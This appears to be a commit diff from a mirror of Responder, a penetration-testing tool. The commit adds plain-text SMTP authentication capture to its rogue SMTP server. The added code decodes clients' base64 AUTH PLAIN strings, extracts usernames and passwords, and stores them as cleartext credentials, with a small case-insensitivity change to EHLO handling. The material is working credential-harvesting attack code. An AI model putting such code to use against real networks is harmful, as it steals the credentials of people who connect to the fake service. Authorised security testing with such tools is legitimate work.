mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-14 11:49:03 +00:00
added support for plain auth
This commit is contained in:
@@ -26,11 +26,27 @@ class ESMTP(BaseRequestHandler):
|
|||||||
self.request.send(str(SMTPGreeting()))
|
self.request.send(str(SMTPGreeting()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "EHLO":
|
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
|
||||||
self.request.send(str(SMTPAUTH()))
|
self.request.send(str(SMTPAUTH()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "AUTH":
|
if data[0:4] == "AUTH":
|
||||||
|
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
|
||||||
|
if AuthPlain:
|
||||||
|
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
|
||||||
|
Username = User[0]
|
||||||
|
Password = User[1]
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'SMTP',
|
||||||
|
'type': 'Cleartext',
|
||||||
|
'client': self.client_address[0],
|
||||||
|
'user': Username,
|
||||||
|
'cleartext': Password,
|
||||||
|
'fullhash': Username+":"+Password,
|
||||||
|
})
|
||||||
|
|
||||||
|
else:
|
||||||
self.request.send(str(SMTPAUTH1()))
|
self.request.send(str(SMTPAUTH1()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
@@ -59,4 +75,5 @@ class ESMTP(BaseRequestHandler):
|
|||||||
})
|
})
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
|
|||||||
Reference in New Issue
Block a user